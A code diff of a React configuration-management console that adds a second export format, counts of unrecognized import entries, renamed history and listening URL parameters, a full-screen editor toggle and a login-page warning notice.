this.appName = value;
this.setState({
appName: value,
});
}
setAppName(value) {
this.appName = value;
this.setState({
@ -523,21 +452,6 @@ class ConfigurationManagement extends React.Component {
this.getData();
}
resetAll() {
this.dataId = '';
this.appName = '';
this.group = '';
this.setState({
selectValue: [],
dataId: '',
appName: '',
group: '',
showAppName: false,
showgroup: false,
});
this.selectAll();
}
chooseEnv(value) {
this.serverId = getParams('serverId') || 'center';
this.tenant = getParams('namespace') || ''; // 为当前实例保存tenant参数
@ -582,104 +496,12 @@ class ConfigurationManagement extends React.Component {
);
}
goConfigSync(record) {
this.serverId = getParams('serverId') || 'center';
this.tenant = getParams('namespace') || ''; // 为当前实例保存tenant参数
this.props.history.push(
`/configsync?serverId=${this.serverId || ''}&dataId=${record.dataId}&group=${
record.group
}&namespace=${this.tenant}`
);
}
onSelectChange(...args) {
const record = [];
args[1].forEach(item => {
if (args[0].indexOf(item.id) >= 0 && this.state.selectedKeys.indexOf(item.id) < 0) {
record.push(item);
}
});
this.state.selectedRecord.forEach(item => {
if (args[0].indexOf(item.id) >= 0) {
record.push(item);
}
});
this.setState({
selectedRecord: record,
selectedKeys: args[0],
isCheckAll: record.length > 0 && record.length === this.state.dataSource.length,
});
}
getBatchFailedContent(res) {
const { locale = {} } = this.props;
return (
<div>
<div style={{ fontSize: 18, color: '#373D41', overflow: 'auto' }}>{res.message}</div>
{'data' in res && res.data != null && (
<Collapse style={{ width: '500px' }}>
{'failedItems' in res.data && res.data.failedItems.length > 0 ? (
<Panel title={locale.failedEntry + res.data.failedItems.length}>
<Table dataSource={res.data.failedItems} fixedHeader>
<Table.Column title={'Data ID'} dataIndex={'dataId'} />
<Table.Column title={'Group'} dataIndex={'group'} />
</Table>
</Panel>
) : (
<Panel style={{ display: 'none' }} />
)}
{'succeededItems' in res.data && res.data.succeededItems.length > 0 ? (
<Panel title={locale.successfulEntry + res.data.succeededItems.length}>
<Table dataSource={res.data.succeededItems} fixedHeader>
<Table.Column title={'Data ID'} dataIndex={'dataId'} />
<Table.Column title={'Group'} dataIndex={'group'} />
</Table>
</Panel>
) : (
<Panel style={{ display: 'none' }} />
)}
{'unprocessedItems' in res.data && res.data.unprocessedItems.length > 0 ? (
<Panel title={locale.unprocessedEntry + res.data.unprocessedItems.length}>
<Table dataSource={res.data.unprocessedItems} fixedHeader>
<Table.Column title={'Data ID'} dataIndex={'dataId'} />
<Table.Column title={'Group'} dataIndex={'group'} />
</Table>
</Panel>
) : (
<Panel style={{ display: 'none' }} />
)}
</Collapse>
)}
</div>
);
}
onClickBatchHandle() {
this.batchHandle &&
this.batchHandle.openDialog({
serverId: this.serverId,
group: this.group,
dataId: this.dataId,
appName: this.appName,
config_tags: this.state.config_tags || '',
pageSize: this.state.pageSize,
});
}
changeAdvancedQuery = () => {
this.setState({
isAdvancedQuery: !this.state.isAdvancedQuery,
});
};
checkAllHandle(checked) {
this.setState({
isCheckAll: checked,
selectedKeys: checked ? this.state.dataSource.map(item => item.id) : [],
selectedRecord: checked ? this.state.dataSource : [],
});
}
openUri(url, params) {
window.open(
[
@ -705,7 +527,21 @@ class ConfigurationManagement extends React.Component {
});
}
exportSelectedData() {
exportDataNew() {
const { group, appName, dataId, openUri } = this;
const { accessToken = '' } = JSON.parse(localStorage.token || '{}');
openUri('v1/cs/configs', {
exportV2: 'true',
tenant: getParams('namespace'),
group,
appName,
dataId,
ids: '',
accessToken,
});
}
exportSelectedData(newVersion) {
const ids = [];
const { locale = {} } = this.props;
const { accessToken = '' } = JSON.parse(localStorage.token || '{}');
@ -717,14 +553,25 @@ class ConfigurationManagement extends React.Component {
return;
}
configsTableSelected.forEach((value, key, map) => ids.push(key));
this.openUri('v1/cs/configs', {
export: 'true',
tenant: '',
group: '',
appName: '',
ids: ids.join(','),
accessToken,
});
if (newVersion) {
this.openUri('v1/cs/configs', {
exportV2: 'true',
tenant: '',
group: '',
appName: '',
ids: ids.join(','),
accessToken,
});
} else {
this.openUri('v1/cs/configs', {
export: 'true',
tenant: '',
group: '',
appName: '',
ids: ids.join(','),
accessToken,
});
}
}
multipleSelectionDeletion() {
@ -1004,7 +851,10 @@ class ConfigurationManagement extends React.Component {
const resultCode = ret.code;
if (resultCode === 200) {
confirm.hide();
if (ret.data.failData && ret.data.failData.length > 0) {
let failCount = ret.data.failData ? ret.data.failData.length : 0;
let skipCount = ret.data.skipData ? ret.data.skipData.length : 0;
let unrecognizedCount = ret.data.unrecognizedCount ? ret.data.unrecognizedCount : 0;
if (failCount > 0) {
Dialog.alert({
title: isImport ? locale.importAbort : locale.cloneAbort,
content: (
@ -1014,7 +864,7 @@ class ConfigurationManagement extends React.Component {
</h4>
<div style={{ marginTop: 20 }}>
<h5>
{locale.failureEntries}: {ret.data.failData.length}
{locale.failureEntries}: {failCount}
</h5>
<Table dataSource={ret.data.failData}>
<Table.Column title="Data Id" dataIndex="dataId" />
@ -1023,30 +873,50 @@ class ConfigurationManagement extends React.Component {
</div>
<div>
<h5>
{locale.unprocessedEntries}: {ret.data.skipData ? ret.data.skipData.length : 0}
{locale.unprocessedEntries}: {skipCount}
</h5>
<Table dataSource={ret.data.skipData}>
<Table.Column title="Data Id" dataIndex="dataId" />
<Table.Column title="Group" dataIndex="group" />
</Table>
</div>
<div>
<h5>
{locale.unrecognizedEntries}: {unrecognizedCount}
</h5>
<Table dataSource={ret.data.unrecognizedData}>
<Table.Column title="Item Name" dataIndex="itemName" />
</Table>
</div>
</div>
),
});
} else if (ret.data.skipCount && ret.data.skipCount > 0) {
} else if (skipCount > 0 || unrecognizedCount > 0) {
let message = `${isImport ? locale.importSuccEntries : locale.cloneSuccEntries}${
ret.data.succCount
}`;
Dialog.alert({
title: isImport ? locale.importSucc : locale.cloneSucc,
content: (
<div style={{ width: '500px' }}>
<h5>{message}</h5>
<div>
<h5>
{locale.skippedEntries}: {ret.data.skipData.length}
{locale.skippedEntries}: {skipCount}
</h5>
<Table dataSource={ret.data.skipData}>
<Table.Column title="Data Id" dataIndex="dataId" />
<Table.Column title="Group" dataIndex="group" />
</Table>
</div>
<div>
<h5>
{locale.unrecognizedEntries}: {unrecognizedCount}
</h5>
<Table dataSource={ret.data.unrecognizedData}>
<Table.Column title="Item Name" dataIndex="itemName" />
</Table>
</div>
</div>
),
});
@ -1319,6 +1189,16 @@ class ConfigurationManagement extends React.Component {
{locale.export}
</Button>
</Form.Item>
<Form.Item label={''}>
<Button
type={'primary'}
style={{ marginRight: 10 }}
onClick={this.exportDataNew.bind(this)}
data-spm-click={'gostr=/aliyun;locaid=configsExport'}
>
{locale.newExport}
</Button>
</Form.Item>
<Form.Item label={''}>
<Button
type={'primary'}
@ -1388,7 +1268,7 @@ class ConfigurationManagement extends React.Component {
ref="dataTable"
loading={this.state.loading}
rowSelection={this.state.rowSelection}
onSort={this.onChangeSort}
onSort={this.onChangeSort.bind(this)}
>
<Table.Column sortable={true} title={'Data Id'} dataIndex={'dataId'} />
<Table.Column sortable={true} title={'Group'} dataIndex={'group'} />
@ -1410,7 +1290,12 @@ class ConfigurationManagement extends React.Component {
{
text: locale.exportSelected,
locaid: 'configsExport',
onClick: () => this.exportSelectedData(),
onClick: () => this.exportSelectedData(false),
},
{
text: locale.newExportSelected,
locaid: 'configsExport',
onClick: () => this.exportSelectedData(true),
},
{
text: locale.clone,

View File

@ -37,12 +37,12 @@ class HistoryRollback extends React.Component {
this.field = new Field(this);
this.appName = getParams('appName') || '';
this.preAppName = this.appName;
this.group = getParams('group') || '';
this.group = getParams('historyGroup') || '';
this.preGroup = this.group;
this.dataId = getParams('dataId') || '';
this.dataId = getParams('historyDataId') || '';
this.preDataId = this.dataId;
this.serverId = getParams('serverId') || '';
this.serverId = getParams('historyServerId') || '';
this.state = {
value: '',
visible: false,
@ -59,13 +59,6 @@ class HistoryRollback extends React.Component {
selectValue: [],
loading: false,
};
const obj = {
dataId: this.dataId || '',
group: this.preGroup || '',
appName: this.appName || '',
serverId: this.serverId || '',
};
setParams(obj);
}
componentDidMount() {

View File

@ -55,9 +55,9 @@ class ListeningToQuery extends React.Component {
dataSource: [],
};
this.field = new Field(this);
this.group = getParams('group') || '';
this.dataId = getParams('dataId') || '';
this.serverId = getParams('serverId') || '';
this.group = getParams('listeningGroup') || '';
this.dataId = getParams('listeningDataId') || '';
this.serverId = getParams('listeningServerId') || '';
this.tenant = getParams('namespace') || '';
}

View File

@ -80,6 +80,7 @@ class NewConfig extends React.Component {
encrypt: false,
addonBefore: '',
showGroupWarning: false,
editorClass: 'editor-normal',
};
this.codeValue = '';
this.mode = 'text';
@ -99,6 +100,7 @@ class NewConfig extends React.Component {
} else {
this.initMoacoEditor();
}
this.initFullScreenEvent();
}
changeModel(type) {
@ -138,6 +140,22 @@ class NewConfig extends React.Component {
});
}
initFullScreenEvent() {
document.body.addEventListener('keydown', e => {
if (e.key === 'F1') {
e.preventDefault();
this.setState({
editorClass: 'editor-full-screen',
});
}
if (e.key === 'Escape') {
this.setState({
editorClass: 'editor-normal',
});
}
});
}
setGroup(value) {
this.group = value || '';
this.field.setValue('group', this.group);
@ -435,6 +453,7 @@ class NewConfig extends React.Component {
label: 'Properties',
},
];
const { editorClass } = this.state;
return (
<div style={{ padding: 10 }}>
@ -575,7 +594,7 @@ class NewConfig extends React.Component {
}
required
>
<div id={'container'} style={{ width: '100%', height: 300 }} />
<div id={'container'} className={editorClass} />
</FormItem>
<FormItem label=" ">

View File

@ -21,3 +21,17 @@
.more-item.hide {
display: none;
}
.editor-full-screen {
width: 100%;
height: 100%;
position: fixed;
top: 0;
left: 0;
z-index: 100;
}
.editor-normal {
clear: both;
height: 300px;
}

View File

@ -102,6 +102,10 @@ class Login extends React.Component {
<div className="animation animation5" />
<Card className="login-panel" contentHeight="auto">
<div className="login-header">{locale.login}</div>
<div className="internal-sys-tip">
<div>{locale.internalSysTip1}</div>
<div>{locale.internalSysTip2}</div>
</div>
<Form className="login-form" field={this.field}>
<FormItem>
<Input

View File

@ -54,9 +54,18 @@ $contentWidth: 1280px;
margin-top: 58px;
text-align: center;
}
.internal-sys-tip {
width: 100%;
line-height: 25px;
font-size: 20px;
margin-top: 25px;
text-align: center;
font-weight: 800;
color: #ff0000cc;
}
.login-form {
width: 360px;
margin: 80px auto auto auto;
margin: 40px auto auto auto;
input {
height: 60px;
}

Some files were not shown because too many files have changed in this diff Show More